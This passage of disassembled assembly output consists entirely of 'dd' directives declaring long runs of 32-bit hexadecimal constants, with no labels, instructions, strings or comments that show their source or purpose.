		dd 0D6FE9B0Bh, 6C981A17h, 0C53B6404h, 8C061488h, 0FA93FC04h
		dd 0A062F815h, 93F55A20h, 46600208h, 451886A8h,	56C3E448h
		dd 0A2B84264h, 6723E454h, 0FBDBFD01h, 42181EBDh, 0E340F88h
		dd 88F645DBh, 127A105h,	51D5DA8Ch, 0E0F5E1DDh, 3C99C636h
		dd 300FF109h, 3C824854h, 8780E5C7h, 7DBEC55h, 4F02531Dh
		dd 0DD9A9293h, 5DE8A00Ah, 3EB6037h, 2B7C863Fh, 0C1C8ED9Dh
		dd 74988A57h, 0CBDD8707h, 5D89ED2h, 46691D0Dh, 0B13D6CBCh
		dd 4C8EEB01h, 90B90975h, 1A8B7DE0h, 0B839D508h,	0D25AB804h
		dd 651AD008h, 6077C484h, 308F4151h, 4793E4Dh, 3D322088h
		dd 8EFB6854h, 8DF88ECh,	544C480h, 0FB93FD60h, 448C1570h
		dd 0F6405D9Eh, 4D98004Eh, 0E2B5A190h, 13038F39h, 0D1010B7Bh
		dd 74704842h, 0CC6B0502h, 90A7BFD2h, 4329028Bh,	0F5AD890h
		dd 6290B962h, 0CDB202C5h, 3C7EA0A3h, 0D1173EB8h, 0F8EC3506h
		dd 0F2F10FDDh, 0DB95002Ch, 15249702h, 48002BC0h, 4562AF1Ch
		dd 1832044Eh, 3112D1CCh, 0A5712889h, 931A3CA0h,	0D315B06h
		dd 0C71B219h, 8E6B6C15h, 0A700FEE9h, 74DC9E8Ah,	489DA199h
		dd 0B418AD4Bh, 0D7453193h, 0C69C7902h, 0C69DD95Fh, 80E97074h
		dd 0F0992EDDh, 0F7183BF9h, 0D933301Ch, 90025B4Ah, 214D9A81h
		dd 2470750Bh, 0C3B430F2h, 0CD0EC819h, 4F80AE0Fh, 0DEE5E38Eh
		dd 0D5510071h, 0A38885F8h, 0FC00E60Fh, 36379BE1h, 5E4303B1h
		dd 39A873h, 0E360E2F6h,	12BC8008h, 8BE8C6E5h, 0C03B8824h
		dd 0BEA1E4FDh, 8D6BF302h, 8E0E2949h, 0A9DF2188h, 0EC30D995h
		dd 14751F41h, 21873FB1h, 25FE369h, 8C48D119h, 43007797h
		dd 5A5C6B5h, 4CD38CEAh,	6101DA45h, 51491154h, 8C40B817h
		dd 58CABF8Fh, 6B28C173h, 30B25F99h, 0F93B4150h,	0E8805D2Fh
		dd 618C0065h, 0E4A092BEh, 3B4C7413h, 5F381060h,	0F9C06BC8h
		dd 46BDE7DBh, 1C2922FEh, 0C0DB3013h, 0AD268527h, 794C89BFh
		dd 8C6B12F0h, 0B9002456h, 748BEBC3h, 0E530017h,	0E46D865Fh
		dd 9713B951h, 0F4010233h, 0FBA61068h, 0B2CC4DEh, 0B79D7E4Eh
		dd 0BC11381Dh, 50C7C380h, 4D3CE1E3h, 3471A409h,	2D212904h
		dd 9D04EC92h, 802911A4h, 1359F418h, 5C1C0303h, 0D1BFEE6h
		dd 6CA0F196h, 7A4CC7B9h, 3C484AACh, 40EBC031h, 0EA214E63h
		dd 0BE9125h, 5040030Fh,	1757B72Dh, 29BC369h, 78637D84h
		dd 5DD0D45Bh, 9723842Ch, 201152F4h, 98611D34h, 806230E6h
		dd 59488AF8h, 6AC2E0B0h, 0DD8D0180h, 0ADE35DF2h, 0F2CC6233h
		dd 0F1AD30A1h, 1D47901h, 0A2529231h, 90CDADCh, 0BCCC69F6h
		dd 20896068h, 3406914Eh, 0DA109637h, 0A060100Ah, 9D48AA8Fh
		dd 23244CBCh, 93FB01FFh, 18D015FDh, 0F45788A5h,	0C7919303h
		dd 0EC4C0428h, 0A8BF0081h, 0D183DB10h, 1804074Eh, 80C04B4Ah
		dd 55E51945h, 0FC11B83Ch, 77D3CFCBh, 49BE09B1h,	0D4C029FDh
		dd 6840D087h, 42E910BFh, 44D6090Ah, 9D3000CDh, 0A1365D28h
		dd 1B706970h, 97D800D7h, 0CA703B8h, 0FD00203Fh,	0AF724181h
		dd 176FA9Dh, 64E21D7Fh,	0D3AE1A89h, 0EB08A4B8h,	6015840Fh
		dd 7E5380B6h, 7CDA1ECh,	13DCEA73h, 0A3960E2h, 507ECBDAh
		dd 7791D601h, 0A4CFA6F5h, 0E81FFFF8h, 1EC4F0E0h, 0C16CE10Dh
		dd 24CEC0D9h, 845E709Bh, 0A65C1F03h, 0EDCD54h, 0FF621118h
		dd 0A5E5F37Ah, 0F2CEF3Ch, 18CAB20h, 0E9793C19h,	379E28A8h
		dd 0F9611823h, 0ECE7C980h, 2B7F10A8h, 0CBB66B00h, 13785424h
		dd 89B006A0h, 309EE8A3h, 0E2721F18h, 89B99B28h,	7DD0CF6Ah
		dd 6F06A38Ah, 182055A7h, 5FA10678h, 0D1F86496h,	89311C86h
		dd 6FE619A8h, 0B8D8C081h, 90D6E5F1h, 0A5810C98h, 9DEA3534h
		dd 0A2DA2BC0h, 85C1521h, 9900E109h, 9F70CB67h, 8ADC000Eh
		dd 5FA9E921h, 20C3DE8Ch, 0F8ED20A4h, 0EE95E167h, 0A57B0FB9h
		dd 21E17AFEh, 0C389AC7Ch, 0F1A9B100h, 0E926D011h, 0BF640EB3h
		dd 598154CDh, 8CE7E372h, 31998951h, 55020FBDh, 9780A55Ch
		dd 0A6FEB363h, 22D17B00h, 0C7ED19ECh, 78A06293h, 120178D6h
		dd 0A820449Eh, 61571416h, 3C18A0A8h, 6A11E965h,	98B93D28h
		dd 7BD47E00h, 0D7AA1EC3h, 21B7009Eh, 4756E0B5h,	9B8A02Bh
		dd 6965971Bh, 3E54D079h, 1424A1B7h, 0F84E0111h,	8A0CA386h
		dd 0C1C989ECh, 0CF4600C1h, 7361E2BCh, 22F45872h, 52DF1700h
		dd 5E8A96B6h, 14017923h, 0D4CB2534h, 0B1074C4Ch, 0F0679D80h
		dd 0E97CE5A0h, 7FA4203Ch, 0D047AC28h, 0DD193A10h, 0FF7BA000h
		dd 2F0305F7h, 0BD2B491Dh, 82686500h, 1213D2DBh,	1F26603Ah
		dd 7EED002Ch, 25702E98h, 0E3F0A300h, 8A4C1023h,	6978A2h
		dd 0FAAAC188h, 0C85FA8E7h, 0D212FEFEh, 7C50EA2Fh, 936518C4h
		dd 0C01DB7E1h, 4116CE19h, 91128A55h, 0EB7370h, 6CD9D127h
		dd 0E82AB299h, 2200D0CCh, 0B10AE386h, 797614BDh, 94090775h
		dd 0E072408Eh, 2E7438A4h, 0FDBA5700h, 1C3A35F3h, 39EE3E4Fh
		dd 0A2D02603h, 1EC02E73h, 18A09767h, 4A006583h,	0F8C4BBADh
		dd 1EFFA3AAh, 5875E5h, 53107445h, 0C9009512h, 7B1AB8B3h
		dd 0D9C0ACh, 0C2191B54h, 8CA13A74h, 0F9EA6815h,	1E30A314h
		dd 0C022EE70h, 7245A9FDh, 0C50725B4h, 21948232h, 3880CCC3h
		dd 2200B9D0h, 0F8D03655h, 0D14C54F1h, 0B01E1883h, 18EF18D0h
		dd 0E15284E7h, 0F409444Eh, 143B896h, 9C93CF01h,	0C0ED66D0h
		dd 0F7DB1020h, 7A02DF1Ch, 34209214h, 8488A0ADh,	0E3C2E9h
		dd 3532C17h, 0CB39D5D8h, 76DDDE00h, 5DF41358h, 3BD0019Dh
		dd 1B9F4CD4h, 2E798E54h, 97A283B4h, 8E113AD2h, 0D2793h
		dd 6F525095h, 87E8477Dh, 0EA90B8A8h, 0C6762700h, 58B19843h
		dd 18421A30h, 6C17F88Dh, 67EE6208h, 0AA051E2Eh,	0A098037Bh
		dd 210655D9h, 0CCA208B9h, 7CBF1C18h, 5D2E0C2Dh,	3C001C10h
		dd 0A4E9E39Ah, 0EE8F6Fh, 3F8EE153h, 90AC8CFh, 2E379801h
		dd 0CB466355h, 730F9C4h, 2991EF2Dh, 3F48E0E5h, 8F076D32h
		dd 0DA25B23h, 411E2CB0h, 0DAF400DEh, 79D7C53Bh,	7B00AD55h
		dd 0E748A165h, 7DE642h,	0E21A29D0h, 0BDF8BA0Fh,	5194D300h
		dd 239926Eh, 0E8E40763h, 0E3755380h, 0F6C9DFE1h, 30AEF074h
		dd 0F0DE4E00h, 4282EDD3h, 0B4C901BDh, 602A536Eh, 0DB77ECA9h
		dd 0EF78F100h, 0A04A2DCDh, 0AEB1003Ah, 0BC212E1Dh, 3E3AF523h
		dd 1B86805Ch, 9BD7A75Ah, 0D93B3A45h, 731F523Ch,	6D13C0D0h
		dd 0D2054B3h, 46364C13h, 5A3F1E03h, 3B1A9121h, 0FA9AE0h
		dd 53CBE7BBh, 0A6AC58A7h, 5BCEBD18h, 18503920h,	59D7BBFBh
		dd 83189A61h, 7711DB45h, 5F1638C0h, 0B2372D03h,	8301558h
		dd 0C8982194h, 0FFF23B16h, 44D550h, 543A12B7h, 6A67D4D3h
		dd 5851A0C7h, 0D7023567h, 0E0BD41A4h, 3074B930h, 76805215h
		dd 0AF604784h, 2EBEE118h
		dd 0F95660B2h, 0C21A8A32h, 7B6AD803h, 1872D057h, 20BE2C08h
		dd 1A2E609Dh, 7A003E71h, 0D996A56Eh, 25030088h,	4F5AFC0Dh
		dd 530631DDh, 3362EEEAh, 13D60010h, 0A6CDCC45h,	0E10A15F5h
		dd 8B24D2D4h, 516D5B00h, 3F30B73h, 0DFBD8055h, 908845BEh
		dd 0A0386331h, 2B340E52h, 0F31A60FBh, 9817AB2Fh, 0AEDE03F5h
		dd 6A127A76h, 0C8C264B0h, 534BED00h, 468BCFB6h,	894F0023h
		dd 0C0B3AA4Dh, 0A9031122h, 0AB1F5B71h, 0A2E9A8CBh, 75CE07DFh
		dd 0F533B036h, 0B0043F35h, 30168129h, 0DE113F3Ch, 20C7EAD4h
		dd 0DCC0C0A8h, 0F4AAC8B5h, 71FA079Dh, 80C470E0h, 5CF9BDEh
		dd 7A84106h, 4228DBE3h,	72DD1116h, 11CE3711h, 0F540E04Ch
		dd 9B28C49Ch, 0CD634474h, 48D16844h, 0CA78424Eh, 3C047F25h
		dd 0DA48D51Ah, 68E49180h, 4C753712h, 4739484h, 1C5932F2h
		dd 18838062h, 6312D251h, 0C60727E1h, 0C053B6D9h, 0B92EB3D4h
		dd 0C2F4FED1h, 78CD1242h, 0CF8101A8h, 0E47FF47Ah, 7D075D72h
		dd 7EA801Ah, 163DEF00h,	462300BEh, 642AD80Fh, 0E2077114h
		dd 0AB52A873h, 0CD7CD2B0h, 0CB0A00F4h, 1F920CB8h, 0F900F5A5h
		dd 84A2F194h, 5C123506h, 9D006F78h, 800F9148h, 6C0F95FBh
		dd 26A73259h, 1D8DA5Ah,	19BFD970h, 0F0CA4157h, 2B050EEAh
		dd 315B15C1h, 492ADC00h, 859EB7h, 0CF6C1998h, 76BD8A34h
		dd 5EF70907h, 5EFE60C7h, 77D53BC2h, 964BE0F4h, 0ADB00DDh
		dd 7AEAF7D1h, 9001A70h,	8C6CF350h, 785C24h, 822E53F5h
		dd 0D8E75A3Eh, 1C64A424h, 0AA5BBD80h, 0E4C0EBh,	0FAA74EB4h
		dd 18882393h, 80E5F600h, 22257B37h, 0D03300A6h,	69BB4517h
		dd 6BFE87CFh, 405C500h,	2FC9018Ch, 9B890925h, 2680C36Ah
		dd 5E453419h, 0CAE9AC07h, 0CFD09DEFh, 1FD94014h, 0C04B5367h
		dd 80216C5h, 0BA0046C6h, 5A0B1E49h, 0F8159D3Ch,	0AEB3006Fh
		dd 0FFACB6DFh, 0A8A0637Ch, 9E000718h, 0A803F3Ah, 167FA5h
		dd 469288C8h, 50D22AA8h, 563DED00h, 4251CDE0h, 0C8E10080h
		dd 8C9FC4F3h, 2B90A2DCh, 9C028700h, 390DA66Dh, 0BC880040h
		dd 736FABD9h, 22004CE2h, 0FAE56897h, 0F0234552h, 0BED4A0E4h
		dd 0F6A300B4h, 728F48C0h, 0A03EDE1Bh, 30A28058h, 57F3A58Ah
		dd 1DF72EB9h, 0EF56000Ch, 8340B77Dh, 0B1CBDF00h, 0A5D98F0h
		dd 29BB00A9h, 0E9784FB9h, 923D60E6h, 0CF548059h, 85728498h
		dd 0F5AF0048h, 0A6FEE120h, 0F700DE2Bh, 33900643h, 0B0F80Ah
		dd 9AECC02h, 86463B4Ch,	0A1249D00h, 75D4760h, 763F7A19h
		dd 179C00F8h, 91E4A76Bh, 0CC188C0Eh, 4F106860h,	65EE00D4h
		dd 5DA475F3h, 0ED07E347h, 6F7FCAB6h, 673B3A70h,	8642029Fh
		dd 0BA581AFh, 4491D743h, 4740341Ch, 914EAC00h, 88CE6214h
		dd 0F978003Fh, 7DBA4F22h, 0C40003E3h, 0AEF55A56h, 0FA5B54h
		dd 0A565B99Fh, 6A420E1Eh, 0DC183400h, 92B7EB30h, 5E8F000Bh
		dd 267C0FA4h, 707FC58h,	5D6850ECh, 90187Ch, 95BE9D48h
		dd 738C3D2Ch, 20140700h, 0BAF7F55Bh, 0B3C0796h,	0C0977449h
		dd 1A0763F2h, 84282609h, 0F6A48094h, 13FCEB20h,	90EA8h
		dd 0EED12208h, 43032896h, 41939004h, 0A4FEE85Bh, 0B0800F3h
		dd 1D9DD997h, 3E00D8CAh, 0F8F871Bh, 382F59A0h, 0B38068E1h
		dd 0D28EABCh, 30006E44h, 67CD4075h, 0B8323A25h,	0AF700F47h
		dd 0BD5D1D7Dh, 0D4EAC700h, 0F269CEA1h, 60C89700h, 4BFDBF07h
		dd 0ACBB516Ah, 938C48CEh, 23E70016h, 0B90AC58Ch, 0C400D920h
		dd 584479E0h, 14DC667Eh, 0BCBA95BFh, 817D0207h,	3B93F228h
		dd 0B6035C60h, 0E25FA40h, 1E32BC09h, 71CF74E2h,	0E87BF481h
		dd 16E840B1h, 91506CA6h, 38901494h, 0B5722500h,	4632C467h
		dd 0B450C91Eh, 0E0E2E500h, 1D005DF0h, 8C82B673h, 1085520h
		dd 67A385BCh, 0CC68162Dh, 8E0BD8D4h, 80D3ED27h,	0BF02C1B7h
		dd 601D004Ch, 4A7112D2h, 0D9003C87h, 0D17FC8BEh, 5CA2D310h
		dd 7B00F120h, 0A3E21772h, 6006B85h, 7C80924Eh, 3DBFC6F4h
		dd 0DD808959h, 6DAE87A8h, 0EBE21EDCh, 0A6542500h, 8BF9629Bh
		dd 76610081h, 4C782A1h,	0DD701291h, 9CF20E00h, 246E8457h
		dd 8BE70149h, 2522B1FBh, 1859E0F9h, 5E00DF7Bh, 96EA3103h
		dd 3FC7646h, 4E20A874h,	0AC9075E9h, 2B0062CFh, 0F1E65317h
		dd 0C95A9Eh, 0F75206BEh, 5C7F74A3h, 0AFFCCD00h,	0A907DDBFh
		dd 0A8500013h, 0F98048AAh, 2DF23E08h, 0F53DC00Fh, 0C2D1E02Fh
		dd 75ED9F8h, 8CB4E0CBh,	414A1E7h, 0EFD880A9h, 0CC74A102h
		dd 13173CBh, 0C8052EF5h, 0D8129E82h, 0EF0221A8h, 0D32D586Dh
		dd 4E21C004h, 997CD7h, 408DE94Bh, 6B59CF7Ch, 60198700h
		dd 733153C4h, 0C8C700D1h, 0EB0B5798h, 2116B9FBh, 6C121A9Ch
		dd 0BF5B3C00h, 24B0497h, 0E513C94h, 84C83B95h, 0CA046282h
		dd 9FA3EC6Eh, 0DD83BCD0h, 77A12CC8h, 0FA34E84h,	87D10A10h
		dd 7BD0C051h, 0C8A51800h, 85C506B2h, 59B112A0h,	0AE480A09h
		dd 931603D2h, 90C07084h, 95582468h, 332602CCh, 8311A5F0h
		dd 90FA5FCCh, 0CD3828h,	0E0531368h, 1E2C1C6Bh, 998CC200h
		dd 64BD96A9h, 5AAC02BCh, 52A0776Fh, 0F34984C0h,	3632E900h
		dd 0A173A8FBh, 33AF00B3h, 8297B5E1h, 0F6F2C486h, 218A9201h
		dd 116B28A0h, 0A8B8DCh,	91334101h, 0C9F16AD7h, 10B7E601h
		dd 0A97ED104h, 349AEC0h, 287C7192h, 0C0FDCB78h,	0BDAF2450h
		dd 0D6754Ch, 0ACEAF356h, 0F15909h, 53413CA6h, 97BE3D45h
		dd 64BADF00h, 615406A7h, 0D14600FFh, 18BBCBCFh,	52046FDDh
		dd 0E4BE7EF8h, 29307C80h, 0B6EF004Dh, 1A8D50FBh, 2B00D228h
		dd 8ED7C878h, 7B8A6B9h,	0DE23CFF6h, 0B22A33D0h,	0A594F3A0h
		dd 692F1504h, 38C0928Dh, 1489BF5h, 3180AE63h, 4022B218h
		dd 51A420BCh, 445D3306h, 1650F1B7h, 0E81E90h, 0FC84294h
		dd 14009CFBh, 2A08D7BBh, 22D5CDh, 0FADDB52Eh, 0A444D075h
		dd 0BC4E0300h, 4D6108A9h, 9F79C5h, 0F5741E37h, 340D97D2h
		dd 0E97965EAh, 0E4E6EA0Eh, 4EAD600Eh, 0B98487B4h, 1822098h
		dd 0D0CA632Bh, 0EC023409h, 0A3023745h, 5E701492h, 2FCFE0ABh
		dd 7E282E97h, 81C20054h, 6CEBE81Ah, 61380900h, 0D7CBB450h
		dd 0D3DF003Fh, 0C3E346D4h, 363BD00Dh, 0FFA7007Ah, 0FC98E0ACh
		dd 99C5003Dh, 9179DF70h, 0CF1E0E60h, 28B92012h,	0C53D885Ah
		dd 0BCF4801Fh, 0C4A0B58Ch, 30DE00CCh, 0BAC0D50h, 6000D273h
		dd 2B790FD5h, 1E893Dh, 24D0A1FEh, 6605FBF3h, 7AA8E950h
		dd 0C456F000h, 0BFE31C93h, 0D5D2007Fh, 7DD6DA3Dh, 0FD02F224h
		dd 0D95C2378h, 504499h,	2B95FC64h, 0BCAE156Fh, 430FAA1Dh
		dd 931DDD02h, 9C3CE076h, 0E0B75859h, 0E4A0CCC0h, 26005F02h
		dd 997E0D7Ch, 0F48C67B2h, 413900CBh, 0D848226Fh, 0D9EE1A23h
		dd 870091FEh, 9354330Dh, 0EFFD33Eh, 0B4777610h,	22E00032h
		dd 8B3D8451h, 0ECFAC80Eh, 6DE720C3h, 989B50h, 7C435556h
		dd 0FBDFA19Ch, 0F7794D03h, 0E85AA03Eh, 0B0DA8A7Ah, 7BD80EACh
		dd 980D530h, 31E47126h,	6D4C2800h, 0C6CD928Ah, 815F0E05h
		dd 8760ABD8h, 75FBD179h, 562FE800h, 6229FB1h, 101F408h
		dd 4A4EB38h, 0C87119F5h, 5900373Bh, 0A1D6E08Ch,	7EFC177Eh
		dd 22790382h, 0CE7F8B9Bh, 620D55C0h, 0E283F800h, 889578B0h
		dd 1DE74EEFh, 0E9D6832Ch, 9F81B5B1h, 0C54C2099h, 5E3CE60Fh
		dd 17DCE5A6h, 37899801h, 0D464A4A0h, 2D8A012Bh,	5A6E6F33h
		dd 2095D16Ch, 0F803FFB8h
		dd 453DE722h, 0B6BFF8F1h, 0E3C600CCh, 8E139CF6h, 0F57A2BD0h
		dd 2CE7B080h, 94E050B7h, 2300B8E2h, 0CD537111h,	402DFA2h
		dd 90A7D3EBh, 52A440E4h, 50F40059h, 0CB8F64E5h,	0B7078029h
		dd 0F8C8E19Ch, 51BCCCA0h, 74A90006h, 71D630AEh,	0B61C4173h
		dd 0DA400FDFh, 66CAADEFh, 2B87F0Dh, 6D7137C8h, 8060F0AEh
		dd 957414B3h, 55B1C400h, 3F21AF06h, 182B007Ch, 0F4ABFFC6h
		dd 1C3C4EA0h, 989D098Ah, 0CD1480E8h, 1B5053h, 0B17CB030h
		dd 0A8FDCCE2h, 0D9FC2300h, 58550802h, 18220067h, 0A2ABA535h
		dd 24006F98h, 207BE88Bh, 10847A6h, 192ECE03h, 200C36D8h
		dd 0C9FA6ED5h, 0B6A5B02Eh, 38ABE09h, 801EAA24h,	0FACB371h
		dd 3AC8CE87h, 9813A340h, 723E30ADh, 70A7406h, 0ECC25D61h
		dd 0C7BA9180h, 0AB896Dh, 0D0CEC47h, 3B886BAEh, 350A4A7Ch
		dd 0F8286A1Bh, 0E5D27800h, 0BD535Eh, 5C3F514Bh,	0E8C332A9h
		dd 0E9F1A000h, 4EE73E84h, 520E0049h, 290BD75Bh,	0B41F0F45h
		dd 5580872Dh, 0DD9F314Ah, 99E000E3h, 0F5BBEBA8h, 7B00C0A9h
		dd 0BE51CFFBh, 12307864h, 0B32922h, 48AD0904h, 0F70016A7h
		dd 44D27D4Eh, 1166FCh, 83DBD72Dh, 45A9BA9h, 6D1B2900h
		dd 0FE4CE27Ah, 70410033h, 7D71A64Fh, 671EC206h,	40C0C3B9h
		dd 19B092D9h, 1C4F07E6h, 429EC6F1h, 8C803402h, 10985E3Dh
		dd 0D59FCC00h, 0C890C51Ah, 5A72000Bh, 0C0242ABAh, 0F7073204h
		dd 8EC7100Dh, 8B148F19h, 0BA6B002Bh, 0B8D5B8ABh, 0D2CC01E0h
		dd 5926CAE4h, 18D8309Eh, 8CFF300h, 7D644432h, 0A113007Ah
		dd 0C52A8D0Fh, 10034F0Eh, 2B6CBC75h, 0D75138C7h, 0B6E47780h
		dd 0D3DC967Dh, 839EBE3Fh, 2A683230h, 0D62900C1h, 0D1F18769h
		dd 1F70DD16h, 0F0DE63B0h, 0DF126884h, 0CEFC9CB4h, 6F604F30h
		dd 0DD77C588h, 80F85928h, 35AB8E00h, 9E31D5E7h,	0D32A00BEh
		dd 343A85C2h, 9A0141FCh, 76BD8844h, 80DC82DDh, 2CB624F1h
		dd 4FE00014h, 7DD4D040h, 0BB323C13h, 0D3FC1000h, 3748D71h
		dd 0B6406F9Eh, 69F80DD6h, 4300C77Ah, 0E3DFA6E7h, 0B850C444h
		dd 4A97C58h, 84317DAAh,	55108079h, 0BC4DD58Bh, 44760040h
		dd 0E6B8FBA0h, 214A005Dh, 4E9F5AF3h, 6F0E305Fh,	214B60A5h
		dd 97762FADh, 0FAF9470h, 4528D098h, 4992B641h, 0C373E083h
		dd 0C5C1240Bh, 444C0E91h, 48D0D476h, 608BF964h,	79F6802Fh
		dd 41010206h, 0B5160C3Fh, 6CD06AB9h, 68DB06DAh,	39E39FEAh
		dd 89B71413h, 458B6440h, 0F62A6DCh, 96C08F27h, 2300A0D4h
		dd 35F7A75Dh, 0D100AA06h, 46536F81h, 0FEA11438h, 0A74A0063h
		dd 0E3680C60h, 3E00283Ch, 0AFC2CED7h, 2549D3Dh,	845EF61Fh
		dd 637F146Eh, 819E80D2h, 2A950043h, 65CED68Bh, 0DFCC19Dh
		dd 592A61Eh, 0DADFAEC0h, 2EE91904h, 0B88301h, 738D4465h
		dd 0FD099D29h, 0E03515D8h, 5D4AB0h, 0E45AF478h,	1B8259C2h
		dd 65AE1F00h, 0DC18A0E6h, 8187004Ch, 0E88EA46Ch, 0F2009E7Ah
		dd 0CA6461D4h, 9A35C12Bh, 60031578h, 0E2009006h, 1F075D72h
		dd 2B5DDB89h, 0CE90280h, 0E099FC2Ch, 3CD403B8h,	4980FFDFh
		dd 7F258DE5h, 4E16E21Bh, 280534A5h, 0C00056F4h,	0AFEE64Bh
		dd 402712E8h, 12100424h, 8D69C031h, 16777036h, 0F680B400h
		dd 94FBF93Bh, 9BF21E52h, 0B275CF89h, 2AE4CDA0h,	0DD01234Bh
		dd 1D789C24h, 0B089CF1Ah, 402C46h, 0D316C720h, 0D8807624h
		dd 426974h, 0B14C09EEh,	4F0A277Fh, 800FCBAh, 0D3142B89h
		dd 191587Ah, 501193E5h,	74C74062h, 0CD24885Ch, 0E65C74D2h
		dd 0CD480012h, 0FD651557h, 0A70351E9h, 391945E4h, 0EFB790DEh
		dd 3FCC9046h, 34052192h, 80C68266h, 0BC9363Ch, 447CA90Ch
		dd 12586979h, 71E5F28h,	0D0BFD0D0h, 5557C22Fh, 59A7A01Fh
		dd 99405CC1h, 1C640E51h, 9E3E0019h, 0B6356260h,	0F8A01872h
		dd 250ED6FEh, 805A20A3h, 0BC08CEA8h, 0FD73024Bh, 1EAB1DFh
		dd 0E8A9E0E0h, 8089703Dh, 0FBB69BAh, 142EB9h, 49DBE427h
		dd 1B93F072h, 0E03D0C04h, 38C01C7Ch, 0C0732391h, 95456121h
		dd 81008FB9h, 0A6CB8977h, 163FE656h, 0F0B185h, 7A5470E2h
		dd 4F7405E8h, 1CCE1B5Ch, 4B80E0BFh, 24EAAA03h, 3CDE0BA7h
		dd 9401CC11h, 0CCD763FFh, 0EE02C905h, 526FA6B1h, 0EF88E8E4h
		dd 980959E6h, 3075C200h, 0ABAFAE02h, 1081C400h,	77F4BB17h
		dd 0ED404EAh, 2D4253h, 421C460h, 0A07AE63Ch, 1BB8BB8h
		dd 1466244Dh, 0DDB085A2h, 7658899Bh, 0D184402Fh, 3245177Ah
		dd 84AC42BDh, 95E0AE66h, 0F900E4B0h, 0CD246C46h, 394A606Bh
		dd 869B9BBDh, 9ED060C2h, 0E3003E57h, 0F71F58B3h, 5CD28AA6h
		dd 42063255h, 70908CF2h, 9EE84100h, 0C0760FCDh,	0FA3F0032h
		dd 649BF1FCh, 18B08879h, 30D8C54Ch, 0EF363092h,	0BD4300E1h
		dd 742E8B6Fh, 0CF00FCB8h, 1344828Fh, 391CE63h, 5803897Dh
		dd 0E0880B08h, 42E6D5C4h, 11319AF2h, 0DF86D0E1h, 0C0DB2CD0h
		dd 800BE858h, 1D0C0AFCh, 19293983h, 562A0FEBh, 0C20CFBE3h
		dd 0A100AF9Ch, 4EF4060h, 0FC613D26h, 2DB0A8C3h,	7AEA0048h
		dd 0D26D5D49h, 3C98A176h, 82E0DE2Fh, 60120F38h,	6116EF9h
		dd 0EEF80B59h, 6809D01Ah, 80E02338h, 41650E64h,	0CDD820A3h
		dd 2402067Fh, 1D5B1971h, 0BC7C4Ch, 407298D6h, 0C300B184h
		dd 20ABFDE4h, 7751EEh, 0E6C7DFC8h, 0F9FB8D9Ah, 0B8A4DB00h
		dd 2DBC09ABh, 67E10394h, 62E93216h, 3CD8F29Ah, 0EF04B942h
		dd 936612F8h, 0D8B875D0h, 57002516h, 3B4E54ADh,	986D2C7Eh
		dd 1445F06Ah, 0AC65D834h, 32DE7700h, 0C5917F06h, 3EB87E03h
		dd 891FB5E8h, 96D8ACEFh, 0A587C15h, 2035B19Ah, 0B9B60FB4h
		dd 31889320h, 0DB015A1Ah, 493CF2CEh, 0B83009FAh, 3B0B00C5h
		dd 14E1D8E8h, 122CC671h, 9A0004E3h, 739C7ADh, 0A0E77CCEh
		dd 0F194D0h, 0DABCA29h,	73DB9F13h, 55633100h, 0B9042D4Ch
		dd 2E75002Ah, 6D23C1F4h, 0CC00D571h, 0EF3AC78Ch, 252FDEh
		dd 5A6D702h, 1861CFBFh,	0C6A0200Bh, 3E1C209Ch, 3FA36449h
		dd 7D803776h, 9588AB24h, 5200913Ch, 0BA185E6Bh,	99BC82h
		dd 83D6CC33h, 75857126h, 86702213h, 3DF108C8h, 57F6998h
		dd 162BCB3h, 0DF78B435h, 0CDB08C0Bh, 0E654C87Ch, 7478B251h
		dd 7BF060h, 742FB598h, 6688E5B0h, 2CFE5048h, 6428A88Bh
		dd 0CF094600h, 6FD8FE71h, 4289ABFh, 8BA55C08h, 88F0D0DDh
		dd 7F00D542h, 0FB4A91EDh, 0B0052D62h, 0A8B2FAh,	9ACFA66Dh
		dd 0EBACBD4Eh, 41D6C825h, 2C71A10h, 0C5BC0690h,	0BC60B7ECh
		dd 0EB007646h, 3E0D0494h, 14122887h, 0C0A5265Eh, 78182B00h
		dd 7ABC1BE2h, 9CC76F00h, 3BB4CE1Ch, 0CFC200F0h,	0AA20EA5Eh
		dd 381D2257h, 51803941h, 2499DABh, 1C8400F6h, 28E48DEBh
		dd 3B0626DBh, 0C83660Dh, 711503E1h, 0A9B29013h,	44604482h
		dd 0B54CB65Eh, 0DD4C0037h, 2F67CD94h, 46D2007Dh, 4BAA0D05h
		dd 0C53FFFA4h, 197C8092h, 686DA195h, 0CF841C3Ch, 207A80CDh
		dd 4775DFFBh, 9C8CB503h, 0B5837D89h, 249CA425h,	572E0018h
		dd 903571E4h, 740484F4h, 0D4598AAh, 0A7FB9A80h,	3C6E004Eh
		dd 0D5E4A951h, 62095CD1h, 427D71C2h, 1C184020h,	0A9F4A036h
		dd 108203F3h, 0B0789FCBh, 0A2D9BF98h, 67001278h, 6E9C1877h
		dd 1D4F8D28h, 0C432A139h, 0C8C9F396h, 0AB025B84h, 60063E98h
		dd 6ED44049h, 0E4F45Eh,	0F364BA94h, 1C32ACC3h, 97333C00h
		dd 0C088A0A6h, 0DB340558h
		dd 0A2E58DA5h, 0A1B05428h, 8246273Eh, 0E1834D5Ch, 15E0406Bh
		dd 0C2A54AB6h, 6AC1AEB4h, 7014F4EBh, 0E9EC9BE4h, 0D48CB74Ah
		dd 17B00BBAh, 0B880EE2Fh, 72378489h, 55B25800h,	36A7BE52h
		dd 4D1D0053h, 40DB44Ah,	0EE00FF24h, 5B71B99Fh, 2FD6C09h
		dd 41E8ADA7h, 0FC806422h, 793C5C0Dh, 161388EEh,	0A4C37526h
		dd 0ADCE9835h, 0EDFB0768h, 40FC27E5h, 3113CF71h, 243EA907h
		dd 52C073EFh, 9A3363B3h, 29B41F94h, 149A80CFh, 13B21195h
		dd 0CB84938h, 1828CC2Dh, 336D00B0h, 0C9956EE4h,	0AD540F31h
		dd 7C077084h, 0BEDE68BAh, 0F0C7214Ch, 0F6BF1304h, 54305CCDh
		dd 637E3864h, 441A05Bh,	0F3B67BA0h, 0BEC814A0h,	0FA9B4300h
		dd 0B4BC9803h, 337737h,	0BD523FB8h, 0D7B02BC6h,	14808B4Bh
		dd 1F426A36h, 803ED350h, 0C27A08B4h, 4E00D976h,	6E45BFAAh
		dd 390DF6h, 2959A17Eh, 0A81243ECh, 0A4E0FA75h, 0C4C89D1Ch
		dd 0B440D992h, 598B5F89h, 0B4740417h, 0B0B22AEAh, 35070C9Ch
		dd 0B5C74DD8h, 0B0F82DC1h, 8C140C40h, 0C9C89DDh, 0DE392204h
		dd 0D414A043h, 0A4302459h, 98DCB461h, 3048A761h, 0EC48698Ch
